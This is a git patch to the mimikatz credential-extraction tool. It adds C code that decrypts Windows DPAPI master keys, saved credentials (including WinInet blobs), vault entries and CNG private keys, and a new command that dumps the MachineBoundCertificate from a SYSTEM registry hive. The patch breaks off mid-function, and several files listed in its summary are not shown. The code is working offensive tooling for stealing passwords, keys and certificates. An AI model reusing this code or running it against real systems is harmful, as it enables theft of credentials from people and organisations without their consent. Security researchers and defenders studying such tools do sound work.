From 3c81f16b5be1edb097898ab2ada0614e31a5195d Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Mon, 25 Nov 2019 03:03:09 +0100 Subject: [PATCH] New DPAPI stuff & crypto [new] dpapi::masterkey now supports SID with SYSTEM_DPAPI (for @dirkjanm services ;)) [new] dpapi::cache filter non relevant SIDs [new] dpapi::cred now supports WinInet double DPAPI [new] dpapi::blob /raw for hex input [new] dpapi::blob /ascii to force ascii output (when not unicode data) [new] crypto:: & dpapi::cng key & certificates flags from current SDK (VSM) [new] sr98::nedap module (@iceman1001 <3) [new] lsadump::mbc to dump MachineBoundCertificate --- mimikatz/modules/dpapi/kuhl_m_dpapi.c | 75 +++++++----- mimikatz/modules/dpapi/kuhl_m_dpapi_oe.c | 74 ++++++++++-- mimikatz/modules/dpapi/kuhl_m_dpapi_oe.h | 1 + .../dpapi/packages/kuhl_m_dpapi_creds.c | 75 ++++++++---- .../dpapi/packages/kuhl_m_dpapi_creds.h | 2 + .../dpapi/packages/kuhl_m_dpapi_keys.c | 35 +++++- mimikatz/modules/kuhl_m_crypto.c | 15 ++- mimikatz/modules/kuhl_m_crypto.h | 6 +- mimikatz/modules/kuhl_m_iis.c | 1 - mimikatz/modules/kuhl_m_lsadump.c | 56 +++++++++ mimikatz/modules/kuhl_m_lsadump.h | 1 + mimikatz/modules/kuhl_m_misc.c | 6 +- mimikatz/modules/kuhl_m_sr98.c | 109 ++++++++++++++++++ mimikatz/modules/kuhl_m_sr98.h | 11 +- mimikatz/modules/sekurlsa/globals_sekurlsa.h | 1 - mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h | 4 +- modules/kull_m_cred.c | 10 ++ modules/kull_m_cred.h | 3 + modules/kull_m_crypto.c | 10 +- modules/kull_m_crypto.h | 16 +++ modules/kull_m_dpapi.c | 23 +++- modules/kull_m_dpapi.h | 1 + modules/kull_m_string.c | 3 +- 23 files changed, 450 insertions(+), 88 deletions(-) diff --git a/mimikatz/modules/dpapi/kuhl_m_dpapi.c b/mimikatz/modules/dpapi/kuhl_m_dpapi.c index cd587ae..6645319 100644 --- a/mimikatz/modules/dpapi/kuhl_m_dpapi.c +++ b/mimikatz/modules/dpapi/kuhl_m_dpapi.c @@ -32,45 +32,54 @@ const KUHL_M kuhl_m_dpapi = { NTSTATUS kuhl_m_dpapi_blob(int argc, wchar_t * argv[]) { - DATA_BLOB dataIn, dataOut; + DATA_BLOB dataIn = {0, NULL}, dataOut; PKULL_M_DPAPI_BLOB blob; - PCWSTR outfile, infile; + PCWSTR szData; PWSTR description = NULL; - if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL)) + if(kull_m_string_args_byName(argc, argv, L"in", &szData, NULL)) { - if(kull_m_file_readData(infile, &dataIn.pbData, &dataIn.cbData)) + if(!kull_m_file_readData(szData, &dataIn.pbData, &dataIn.cbData)) + PRINT_ERROR_AUTO(L"kull_m_file_readData"); + } + else if(kull_m_string_args_byName(argc, argv, L"raw", &szData, NULL)) + { + if(!kull_m_string_stringToHexBuffer(szData, &dataIn.pbData, &dataIn.cbData)) + PRINT_ERROR(L"kull_m_string_stringToHexBuffer!\n"); + } + + if(dataIn.pbData) + { + if(blob = kull_m_dpapi_blob_create(dataIn.pbData)) { - if(blob = kull_m_dpapi_blob_create(dataIn.pbData)) + kull_m_dpapi_blob_descr(0, blob); + if(kuhl_m_dpapi_unprotect_raw_or_blob(dataIn.pbData, dataIn.cbData, &description, argc, argv, NULL, 0, (LPVOID *) &dataOut.pbData, &dataOut.cbData, NULL)) { - kull_m_dpapi_blob_descr(0, blob); - - if(kuhl_m_dpapi_unprotect_raw_or_blob(dataIn.pbData, dataIn.cbData, &description, argc, argv, NULL, 0, (LPVOID *) &dataOut.pbData, &dataOut.cbData, NULL)) + if(description) { - if(description) - { - kprintf(L"description : %s\n", description); - LocalFree(description); - } - - if(kull_m_string_args_byName(argc, argv, L"out", &outfile, NULL)) - { - if(kull_m_file_writeData(outfile, dataOut.pbData, dataOut.cbData)) - kprintf(L"Write to file \'%s\' is OK\n", outfile); - } - else - { - kprintf(L"data: "); - kull_m_string_printSuspectUnicodeString(dataOut.pbData, dataOut.cbData); - kprintf(L"\n"); - } - LocalFree(dataOut.pbData); + kprintf(L"description : %s\n", description); + LocalFree(description); } - kull_m_dpapi_blob_delete(blob); + if(kull_m_string_args_byName(argc, argv, L"out", &szData, NULL)) + { + if(kull_m_file_writeData(szData, dataOut.pbData, dataOut.cbData)) + kprintf(L"Write to file \'%s\' is OK\n", szData); + } + else + { + kprintf(L"data: "); + if(kull_m_string_args_byName(argc, argv, L"ascii", NULL, NULL)) + { + kprintf(L"%.*S\n", dataOut.cbData, dataOut.pbData); + } + else kull_m_string_printSuspectUnicodeString(dataOut.pbData, dataOut.cbData); + kprintf(L"\n"); + } + LocalFree(dataOut.pbData); } - LocalFree(dataIn.pbData); + kull_m_dpapi_blob_delete(blob); } - else PRINT_ERROR_AUTO(L"kull_m_file_readData"); + LocalFree(dataIn.pbData); } return STATUS_SUCCESS; } @@ -224,12 +233,13 @@ NTSTATUS kuhl_m_dpapi_masterkey(int argc, wchar_t * argv[]) if((cbSystem - cbSystemOffset) == 2 * SHA_DIGEST_LENGTH) { kprintf(L"\n[masterkey] with DPAPI_SYSTEM (machine, then user): "); kull_m_string_wprintf_hex(pSystem + cbSystemOffset, 2 * SHA_DIGEST_LENGTH, 0); kprintf(L"\n"); - if(kull_m_dpapi_unprotect_masterkey_with_shaDerivedkey(masterkeys->MasterKey, pSystem + cbSystemOffset, SHA_DIGEST_LENGTH, &output, &cbOutput)) + if(kull_m_dpapi_unprotect_masterkey_with_userHash(masterkeys->MasterKey, pSystem + cbSystemOffset, SHA_DIGEST_LENGTH, convertedSid, &output, &cbOutput)) + { kprintf(L"** MACHINE **\n"); kuhl_m_dpapi_display_MasterkeyInfosAndFree(statusGuid ? &guid : NULL, output, cbOutput, NULL); } - else if(kull_m_dpapi_unprotect_masterkey_with_shaDerivedkey(masterkeys->MasterKey, pSystem + cbSystemOffset + SHA_DIGEST_LENGTH, SHA_DIGEST_LENGTH, &output, &cbOutput)) + else if(kull_m_dpapi_unprotect_masterkey_with_userHash(masterkeys->MasterKey, pSystem + cbSystemOffset + SHA_DIGEST_LENGTH, SHA_DIGEST_LENGTH, convertedSid, &output, &cbOutput)) { kprintf(L"** USER **\n"); kuhl_m_dpapi_display_MasterkeyInfosAndFree(statusGuid ? &guid : NULL, output, cbOutput, NULL); @@ -239,11 +249,12 @@ NTSTATUS kuhl_m_dpapi_masterkey(int argc, wchar_t * argv[]) else { kprintf(L"\n[masterkey] with DPAPI_SYSTEM: "); kull_m_string_wprintf_hex(pSystem + cbSystemOffset, cbSystem - cbSystemOffset, 0); kprintf(L"\n"); - if(kull_m_dpapi_unprotect_masterkey_with_shaDerivedkey(masterkeys->MasterKey, pSystem + cbSystemOffset, cbSystem - cbSystemOffset, &output, &cbOutput)) + if(kull_m_dpapi_unprotect_masterkey_with_userHash(masterkeys->MasterKey, pSystem + cbSystemOffset, cbSystem - cbSystemOffset, convertedSid, &output, &cbOutput)) kuhl_m_dpapi_display_MasterkeyInfosAndFree(statusGuid ? &guid : NULL, output, cbOutput, NULL); else PRINT_ERROR(L"kull_m_dpapi_unprotect_masterkey_with_shaDerivedkey\n"); } } + else PRINT_ERROR(L"system masterkey needs /SYSTEM:key\n"); } else if(convertedSid) { diff --git a/mimikatz/modules/dpapi/kuhl_m_dpapi_oe.c b/mimikatz/modules/dpapi/kuhl_m_dpapi_oe.c index 9e0898a..5c5a43a 100644 --- a/mimikatz/modules/dpapi/kuhl_m_dpapi_oe.c +++ b/mimikatz/modules/dpapi/kuhl_m_dpapi_oe.c @@ -182,19 +182,22 @@ BOOL kuhl_m_dpapi_oe_credential_add(LPCWSTR sid, LPCGUID guid, LPCVOID md4hash, if(sid) { - if(!(entry = kuhl_m_dpapi_oe_credential_get(sid, guid))) + if(kuhl_m_dpapi_oe_is_sid_valid_ForCacheOrAuto(NULL, sid, FALSE)) { - if(entry = (PKUHL_M_DPAPI_OE_CREDENTIAL_ENTRY) LocalAlloc(LPTR, sizeof(KUHL_M_DPAPI_OE_CREDENTIAL_ENTRY))) + if(!(entry = kuhl_m_dpapi_oe_credential_get(sid, guid))) { - entry->data.sid = _wcsdup(sid); - entry->navigator.Blink = gDPAPI_Credentials.Blink; - entry->navigator.Flink = &gDPAPI_Credentials; - ((PKUHL_M_DPAPI_OE_CREDENTIAL_ENTRY) gDPAPI_Credentials.Blink)->navigator.Flink = (PLIST_ENTRY) entry; - gDPAPI_Credentials.Blink= (PLIST_ENTRY) entry; + if(entry = (PKUHL_M_DPAPI_OE_CREDENTIAL_ENTRY) LocalAlloc(LPTR, sizeof(KUHL_M_DPAPI_OE_CREDENTIAL_ENTRY))) + { + entry->data.sid = _wcsdup(sid); + entry->navigator.Blink = gDPAPI_Credentials.Blink; + entry->navigator.Flink = &gDPAPI_Credentials; + ((PKUHL_M_DPAPI_OE_CREDENTIAL_ENTRY) gDPAPI_Credentials.Blink)->navigator.Flink = (PLIST_ENTRY) entry; + gDPAPI_Credentials.Blink= (PLIST_ENTRY) entry; + } } + if(entry) + status = kuhl_m_dpapi_oe_credential_addtoEntry(entry, guid, md4hash, sha1hash, md4protectedhash, password); } - if(entry) - status = kuhl_m_dpapi_oe_credential_addtoEntry(entry, guid, md4hash, sha1hash, md4protectedhash, password); } else PRINT_ERROR(L"No SID?"); return status; @@ -386,6 +389,53 @@ NTSTATUS kuhl_m_dpapi_oe_cache(int argc, wchar_t * argv[]) return STATUS_SUCCESS; } +const DWORD invalidAuthorityForAuto[] = {18, 19, 20}; +const DWORD invalidAuthorityForCache[] = {18, 19, 20, 80, 82, 83, 90, 96}; +BOOL kuhl_m_dpapi_oe_is_sid_valid_ForCacheOrAuto(PSID sid, LPCWSTR szSid, BOOL AutoOrCache) +{ + BOOL status = FALSE; + PUCHAR count; + PSID tmpSid = NULL; + DWORD s0, i, maxAuth; + const DWORD *pAuth; + + if(szSid) + ConvertStringSidToSid(szSid, &tmpSid); + else tmpSid = sid; + + if(AutoOrCache) + { + pAuth = invalidAuthorityForAuto; + maxAuth = ARRAYSIZE(invalidAuthorityForAuto); + } + else + { + pAuth = invalidAuthorityForCache; + maxAuth = ARRAYSIZE(invalidAuthorityForCache); + } + + if(IsValidSid(tmpSid)) + { + if(count = GetSidSubAuthorityCount(tmpSid)) + { + if(*count >= 1) + { + s0 = *GetSidSubAuthority(tmpSid, 0); + status = TRUE; + for(i = 0; i < maxAuth; i++) + { + if(pAuth[i] == s0) + { + status = FALSE; + break; + } + } + } + } + } + return status; +} + BOOL kuhl_m_dpapi_oe_autosid(LPCWSTR filename, LPWSTR * pSid) { BOOL status = FALSE; @@ -400,10 +450,12 @@ BOOL kuhl_m_dpapi_oe_autosid(LPCWSTR filename, LPWSTR * pSid) { if(ConvertStringSidToSid(++pE, &tmpSid)) { - if(status = ConvertSidToStringSid(tmpSid, pSid)) + if(kuhl_m_dpapi_oe_is_sid_valid_ForCacheOrAuto(tmpSid, NULL, TRUE)) { - kprintf(L"Auto SID from path seems to be: %s\n", *pSid); + if(status = ConvertSidToStringSid(tmpSid, pSid)) + kprintf(L"Auto SID from path seems to be: %s\n", *pSid); } + else kprintf(L"SID detected in path but not relevant, can be forced with /sid:S-1-...\n"); LocalFree(tmpSid); } } diff --git a/mimikatz/modules/dpapi/kuhl_m_dpapi_oe.h b/mimikatz/modules/dpapi/kuhl_m_dpapi_oe.h index e2990d2..f072a33 100644 --- a/mimikatz/modules/dpapi/kuhl_m_dpapi_oe.h +++ b/mimikatz/modules/dpapi/kuhl_m_dpapi_oe.h @@ -33,6 +33,7 @@ typedef struct _KUHL_M_DPAPI_OE_DOMAINKEY_ENTRY { NTSTATUS kuhl_m_dpapi_oe_clean(); NTSTATUS kuhl_m_dpapi_oe_cache(int argc, wchar_t * argv[]); +BOOL kuhl_m_dpapi_oe_is_sid_valid_ForCacheOrAuto(PSID sid, LPCWSTR szSid, BOOL AutoOrCache); BOOL kuhl_m_dpapi_oe_autosid(LPCWSTR filename, LPWSTR * pSid); LIST_ENTRY gDPAPI_Masterkeys; diff --git a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c index 79233f8..26ebab9 100644 --- a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c +++ b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c @@ -8,39 +8,51 @@ NTSTATUS kuhl_m_dpapi_cred(int argc, wchar_t * argv[]) { PCWSTR infile; - PVOID file, out; - DWORD szFile, szOut; + PBYTE file; + PVOID out; + DWORD i, szFile, szOut; BOOL isNT5Cred; PKULL_M_CRED_BLOB cred; PKULL_M_CRED_LEGACY_CREDS_BLOB legacyCreds; - + if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL)) { - if(kull_m_file_readData(infile, (PBYTE *) &file, &szFile)) + if(kull_m_file_readData(infile, &file, &szFile)) { - isNT5Cred = RtlEqualGuid((PBYTE) file + sizeof(DWORD), &KULL_M_DPAPI_GUID_PROVIDER); - kull_m_dpapi_blob_quick_descr(0, isNT5Cred ? file : ((PKUHL_M_DPAPI_ENCRYPTED_CRED) file)->blob); - if(kuhl_m_dpapi_unprotect_raw_or_blob(isNT5Cred ? file : ((PKUHL_M_DPAPI_ENCRYPTED_CRED) file)->blob, isNT5Cred ? szFile : ((PKUHL_M_DPAPI_ENCRYPTED_CRED) file)->blobSize, NULL, argc, argv, NULL, 0, &out, &szOut, isNT5Cred ? L"Decrypting Legacy Credential(s):\n" : L"Decrypting Credential:\n")) + if(szFile >= FIELD_OFFSET(KULL_M_DPAPI_BLOB, dwMasterKeyVersion)) { - if(isNT5Cred) + isNT5Cred = RtlEqualGuid(file + sizeof(DWORD), &KULL_M_DPAPI_GUID_PROVIDER); + kull_m_dpapi_blob_quick_descr(0, isNT5Cred ? file : ((PKUHL_M_DPAPI_ENCRYPTED_CRED) file)->blob); + if(kuhl_m_dpapi_unprotect_raw_or_blob(isNT5Cred ? file : ((PKUHL_M_DPAPI_ENCRYPTED_CRED) file)->blob, isNT5Cred ? szFile : ((PKUHL_M_DPAPI_ENCRYPTED_CRED) file)->blobSize, NULL, argc, argv, NULL, 0, &out, &szOut, isNT5Cred ? L"Decrypting Legacy Credential(s):\n" : L"Decrypting Credential:\n")) { - if(legacyCreds = kull_m_cred_legacy_creds_create(out)) + if(isNT5Cred) { - kull_m_cred_legacy_creds_descr(0, legacyCreds); - kull_m_cred_legacy_creds_delete(legacyCreds); + if(legacyCreds = kull_m_cred_legacy_creds_create(out)) + { + kull_m_cred_legacy_creds_descr(0, legacyCreds); + for(i = 0; i < legacyCreds->__count; i++) + kuhl_m_dpapi_cred_tryEncrypted(legacyCreds->Credentials[i]->TargetName, legacyCreds->Credentials[i]->CredentialBlob, legacyCreds->Credentials[i]->CredentialBlobSize, argc, argv); + kull_m_cred_legacy_creds_delete(legacyCreds); + } } - } - else - { - if(cred = kull_m_cred_create(out)) + else { - kull_m_cred_descr(0, cred); - kull_m_cred_delete(cred); + if(cred = kull_m_cred_create(out)) + { + kull_m_cred_descr(0, cred); + if(kull_m_string_args_byName(argc, argv, L"lsaiso", NULL, NULL)) + { + kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) cred->CredentialBlob); + kprintf(L"\n"); + } + else kuhl_m_dpapi_cred_tryEncrypted(cred->TargetName, cred->CredentialBlob, cred->CredentialBlobSize, argc, argv); + kull_m_cred_delete(cred); + } } + LocalFree(out); } - LocalFree(out); + LocalFree(file); } - LocalFree(file); } else PRINT_ERROR_AUTO(L"kull_m_file_readData"); } @@ -84,7 +96,6 @@ NTSTATUS kuhl_m_dpapi_vault(int argc, wchar_t * argv[]) { kprintf(L" AES128 key: "); kull_m_string_wprintf_hex(aes128, AES_128_KEY_SIZE, 0); kprintf(L"\n"); kprintf(L" AES256 key: "); kull_m_string_wprintf_hex(aes256, AES_256_KEY_SIZE, 0); kprintf(L"\n\n"); - if(CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { for(i = 0; i < vaultCredential->__cbElements; i++) @@ -146,10 +157,32 @@ NTSTATUS kuhl_m_dpapi_vault(int argc, wchar_t * argv[]) else PRINT_ERROR_AUTO(L"kull_m_file_readData (cred)"); } else PRINT_ERROR(L"Input Cred file needed (/cred:file)\n"); - + return STATUS_SUCCESS; } +void kuhl_m_dpapi_cred_tryEncrypted(LPCWSTR target, LPCBYTE data, DWORD dataLen, int argc, wchar_t * argv[]) +{ + PVOID cred; + DWORD credLen; + if(wcsstr(target, L"Microsoft_WinInet_")) + { + if(dataLen >= FIELD_OFFSET(KULL_M_DPAPI_BLOB, dwMasterKeyVersion)) + { + if(RtlEqualGuid(data + sizeof(DWORD), &KULL_M_DPAPI_GUID_PROVIDER)) + { + kprintf(L"\n"); + if(kuhl_m_dpapi_unprotect_raw_or_blob(data, dataLen, NULL, argc, argv, KULL_M_CRED_ENTROPY_CRED_DER, sizeof(KULL_M_CRED_ENTROPY_CRED_DER), &cred, &credLen, L"Decrypting additional blob\n")) + { + kprintf(L" CredentialBlob: "); + kull_m_string_printSuspectUnicodeString(cred, credLen); + LocalFree(cred); + } + } + } + } +} + BOOL kuhl_m_dpapi_vault_key_type(PKULL_M_CRED_VAULT_CREDENTIAL_ATTRIBUTE attribute, HCRYPTPROV hProv, BYTE aes128[AES_128_KEY_SIZE], BYTE aes256[AES_256_KEY_SIZE], HCRYPTKEY *hKey, BOOL *isAttr) { BOOL status = FALSE; diff --git a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.h b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.h index 36439d7..95cc522 100644 --- a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.h +++ b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.h @@ -6,6 +6,7 @@ #pragma once #include "../kuhl_m_dpapi.h" #include "../modules/kull_m_cred.h" +#include "../../sekurlsa/kuhl_m_sekurlsa.h" typedef struct _KUHL_M_DPAPI_ENCRYPTED_CRED { DWORD version; @@ -17,5 +18,6 @@ typedef struct _KUHL_M_DPAPI_ENCRYPTED_CRED { NTSTATUS kuhl_m_dpapi_cred(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_dpapi_vault(int argc, wchar_t * argv[]); +void kuhl_m_dpapi_cred_tryEncrypted(LPCWSTR target, LPCBYTE data, DWORD dataLen, int argc, wchar_t * argv[]); BOOL kuhl_m_dpapi_vault_key_type(PKULL_M_CRED_VAULT_CREDENTIAL_ATTRIBUTE attribute, HCRYPTPROV hProv, BYTE aes128[AES_128_KEY_SIZE], BYTE aes256[AES_256_KEY_SIZE], HCRYPTKEY *hKey, BOOL *isAttr); void kuhl_m_dpapi_vault_basic(PVOID data, DWORD size, GUID *schema); \ No newline at end of file diff --git a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c index b5a2be1..75af349 100644 --- a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c +++ b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c @@ -73,6 +73,21 @@ NTSTATUS kuhl_m_dpapi_keys_capi(int argc, wchar_t * argv[]) return STATUS_SUCCESS; } +BOOL kuhl_m_dpapi_keys_cng_isIso(PKULL_M_KEY_CNG_PROPERTY * properties, DWORD cbProperties) +{ + DWORD i; + BOOL result = FALSE; + for(i = 0; i < cbProperties; i++) + { + if((properties[i]->dwNameLen >= 22) && RtlEqualMemory(NCRYPT_USE_VIRTUAL_ISOLATION_PROPERTY, properties[i]->pName, 22) && (properties[i]->dwPropertyLen == sizeof(BOOL))) + { + result = *(PBOOL) properties[i]->pProperty; + break; + } + } + return result; +} + NTSTATUS kuhl_m_dpapi_keys_cng(int argc, wchar_t * argv[]) { PBYTE file; @@ -82,6 +97,7 @@ NTSTATUS kuhl_m_dpapi_keys_cng(int argc, wchar_t * argv[]) PKULL_M_KEY_CNG_PROPERTY * properties; LPCWSTR infile; PWSTR name; + BOOL isIso = FALSE; if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL)) { @@ -96,6 +112,7 @@ NTSTATUS kuhl_m_dpapi_keys_cng(int argc, wchar_t * argv[]) if(kull_m_key_cng_properties_create(out, outLen, &properties, &cbProperties)) { kull_m_key_cng_properties_descr(0, properties, cbProperties); + isIso = kuhl_m_dpapi_keys_cng_isIso(properties, cbProperties); kull_m_key_cng_properties_delete(properties, cbProperties); } LocalFree(out); @@ -103,12 +120,20 @@ NTSTATUS kuhl_m_dpapi_keys_cng(int argc, wchar_t * argv[]) if(kuhl_m_dpapi_unprotect_raw_or_blob(cngKey->pPrivateKey, cngKey->dwPrivateKeyLen, NULL, argc, argv, KIWI_DPAPI_ENTROPY_CNG_KEY_BLOB, sizeof(KIWI_DPAPI_ENTROPY_CNG_KEY_BLOB), &out, &outLen, L"Decrypting Private Key:\n")) { - kull_m_string_wprintf_hex(out, outLen, 0);kprintf(L"\n"); - if(name = (PWSTR) LocalAlloc(LPTR, cngKey->dwNameLen + sizeof(wchar_t))) + if(isIso) { - RtlCopyMemory(name, cngKey->pName, cngKey->dwNameLen); - kuhl_m_crypto_exportRawKeyToFile(out, outLen, TRUE, L"raw", 0, name, TRUE, TRUE); - LocalFree(name); + kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) ((PBYTE) out + sizeof(DWORD))); + kprintf(L"\n"); + } + else + { + kull_m_string_wprintf_hex(out, outLen, 0);kprintf(L"\n"); + if(name = (PWSTR) LocalAlloc(LPTR, cngKey->dwNameLen + sizeof(wchar_t))) + { + RtlCopyMemory(name, cngKey->pName, cngKey->dwNameLen); + kuhl_m_crypto_exportRawKeyToFile(out, outLen, TRUE, L"raw", 0, name, TRUE, TRUE); + LocalFree(name); + } } LocalFree(out); } diff --git a/mimikatz/modules/kuhl_m_crypto.c b/mimikatz/modules/kuhl_m_crypto.c index a3e0317..dbf594f 100644 --- a/mimikatz/modules/kuhl_m_crypto.c +++ b/mimikatz/modules/kuhl_m_crypto.c @@ -420,12 +420,14 @@ NTSTATUS kuhl_m_crypto_l_keys(int argc, wchar_t * argv[]) void kuhl_m_crypto_printKeyInfos(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv, HCRYPTKEY maCle) { - BOOL isExportable, keyOperation = FALSE; + BOOL isExportable, keyOperation = FALSE, isVirtualIso = FALSE; DWORD keySize, dwSizeNeeded; if(monProv) { __try { + if(NT_SUCCESS(NCryptGetProperty(monProv, NCRYPT_USE_VIRTUAL_ISOLATION_PROPERTY, (BYTE *) &keySize, sizeof(DWORD), &dwSizeNeeded, 0))) + isVirtualIso = (BOOL) keySize; keyOperation = NT_SUCCESS(NCryptGetProperty(monProv, NCRYPT_EXPORT_POLICY_PROPERTY, (BYTE *) &keySize, sizeof(DWORD), &dwSizeNeeded, 0)); isExportable = (keySize & NCRYPT_ALLOW_EXPORT_FLAG); keyOperation &= NT_SUCCESS(NCryptGetProperty(monProv, NCRYPT_LENGTH_PROPERTY, (BYTE *) &keySize, sizeof(DWORD), &dwSizeNeeded, 0)); @@ -449,10 +451,14 @@ void kuhl_m_crypto_printKeyInfos(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv, HCRYPT } if(keyOperation) + { + if(isVirtualIso) + kprintf(L"\t** LSA Isolated key **\n"); kprintf( L"\tExportable key : %s\n" L"\tKey size : %u\n", (isExportable ? L"YES" : L"NO"), keySize); + } } void kuhl_m_crypto_exportRawKeyToFile(LPCVOID data, DWORD size, BOOL isCNG, const wchar_t * store, const DWORD index, const wchar_t * name, BOOL wantExport, BOOL wantInfos) @@ -735,6 +741,10 @@ BOOL kuhl_m_crypto_system_data(PBYTE data, DWORD len, PCWCHAR originalName, BOOL case CERT_keyid_file_element: kuhl_m_crypto_file_rawData(prop, originalName, isExport); break; + case 118: // CERT_ISOLATED_KEY_PROP_ID + kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) prop->data); + kprintf(L"\n"); + break; case CERT_SHA1_HASH_PROP_ID: case CERT_MD5_HASH_PROP_ID : case CERT_SIGNATURE_HASH_PROP_ID: @@ -791,7 +801,7 @@ NTSTATUS kuhl_m_crypto_system(int argc, wchar_t * argv[]) void kuhl_m_crypto_file_rawData(PKUHL_M_CRYPTO_CERT_PROP prop, PCWCHAR inFile, BOOL isExport) { - PCWCHAR type, file = PathFindFileName(inFile); + PCWCHAR type, file; wchar_t * buffer; size_t charCount; @@ -821,6 +831,7 @@ void kuhl_m_crypto_file_rawData(PKUHL_M_CRYPTO_CERT_PROP prop, PCWCHAR inFile, B if(isExport) { kprintf(L" "); + file = PathFindFileName(inFile); charCount = wcslen(file) + 1 + wcslen(type) + 1; if(buffer = (wchar_t *) LocalAlloc(LPTR, (charCount) * sizeof(wchar_t))) { diff --git a/mimikatz/modules/kuhl_m_crypto.h b/mimikatz/modules/kuhl_m_crypto.h index bc13c22..dcc1472 100644 --- a/mimikatz/modules/kuhl_m_crypto.h +++ b/mimikatz/modules/kuhl_m_crypto.h @@ -9,6 +9,7 @@ #include "../modules/kull_m_string.h" #include "../modules/kull_m_file.h" #include "../modules/kull_m_registry.h" +#include "sekurlsa/kuhl_m_sekurlsa.h" #include "crypto/kuhl_m_crypto_sc.h" #include "crypto/kuhl_m_crypto_extractor.h" #include "crypto/kuhl_m_crypto_patch.h" @@ -63,4 +64,7 @@ void kuhl_m_crypto_exportCert(PCCERT_CONTEXT pCertificate, BOOL havePrivateKey, wchar_t * kuhl_m_crypto_generateFileName(const wchar_t * term0, const wchar_t * term1, const DWORD index, const wchar_t * name, const wchar_t * ext); void kuhl_m_crypto_file_rawData(PKUHL_M_CRYPTO_CERT_PROP prop, PCWCHAR inFile, BOOL isExport); void kuhl_m_crypto_l_keys_capi(LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwProvType, DWORD dwFlags, BOOL export, LPCWSTR szStore); -void kuhl_m_crypto_l_keys_cng(LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwFlags, BOOL export, LPCWSTR szStore); \ No newline at end of file +void kuhl_m_crypto_l_keys_cng(LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwFlags, BOOL export, LPCWSTR szStore); + +BOOL kuhl_m_crypto_system_data(PBYTE data, DWORD len, PCWCHAR originalName, BOOL isExport); +BOOL CALLBACK kuhl_m_crypto_system_directory(DWORD level, PCWCHAR fullpath, PCWCHAR path, PVOID pvArg); \ No newline at end of file diff --git a/mimikatz/modules/kuhl_m_iis.c b/mimikatz/modules/kuhl_m_iis.c index b80f11d..2a4d9dc 100644 --- a/mimikatz/modules/kuhl_m_iis.c +++ b/mimikatz/modules/kuhl_m_iis.c @@ -301,7 +301,6 @@ void kuhl_m_iis_apphost_provider_decrypt(int argc, wchar_t * argv[], PCWSTR keyC kprintf(L"OK\n"); else { - if(kull_m_file_readData(pvkName, (PBYTE *) &pvk, &szPvk)) { kprintf(L" | PVK file : %s - \'%s\' : ", keyContainerName, pvkName); diff --git a/mimikatz/modules/kuhl_m_lsadump.c b/mimikatz/modules/kuhl_m_lsadump.c index 03819b3..cbee280 100644 --- a/mimikatz/modules/kuhl_m_lsadump.c +++ b/mimikatz/modules/kuhl_m_lsadump.c @@ -19,6 +19,7 @@ const KUHL_M_C kuhl_m_c_lsadump[] = { {kuhl_m_lsadump_changentlm, L"changentlm", L"Ask a server to set a new password/ntlm for one user"}, {kuhl_m_lsadump_netsync, L"netsync", L"Ask a DC to send current and previous NTLM hash of DC/SRV/WKS"}, {kuhl_m_lsadump_packages, L"packages", NULL}, + {kuhl_m_lsadump_mbc, L"mbc", NULL}, }; const KUHL_M kuhl_m_lsadump = { @@ -2336,3 +2337,58 @@ NTSTATUS kuhl_m_lsadump_packages(int argc, wchar_t * argv[]) else PRINT_ERROR(L"EnumerateSecurityPackages: 0x%08x\n", status); return STATUS_SUCCESS; } + +BOOL kuhl_m_lsadump_mbc_data(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSystemBase) +{ + BOOL status = FALSE; + HKEY hCurrentControlSet; + PBYTE data; + DWORD dataLen; + + if(kuhl_m_lsadump_getCurrentControlSet(hRegistry, hSystemBase, &hCurrentControlSet)) + { + if(kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hCurrentControlSet, L"Control\\Lsa\\Kerberos\\Parameters", L"MachineBoundCertificate", NULL, (LPVOID *) &data, &dataLen)) + { + kuhl_m_crypto_system_data(data, dataLen, L"MachineBoundCertificate", FALSE); + LocalFree(data); + } + kull_m_registry_RegCloseKey(hRegistry, hCurrentControlSet); + } + return status; +} + +NTSTATUS kuhl_m_lsadump_mbc(int argc, wchar_t * argv[]) +{ + HANDLE hDataSystem; + PKULL_M_REGISTRY_HANDLE hRegistry; + HKEY hBase; + LPCWSTR szSystem = NULL; + + if(kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL)) + { + hDataSystem = CreateFile(szSystem, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if(hDataSystem != INVALID_HANDLE_VALUE) + { + if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSystem, FALSE, &hRegistry)) + { + kuhl_m_lsadump_mbc_data(hRegistry, NULL); + kull_m_registry_close(hRegistry); + } + CloseHandle(hDataSystem); + } + else PRINT_ERROR_AUTO(L"CreateFile (SYSTEM hive)"); + } + else + { + 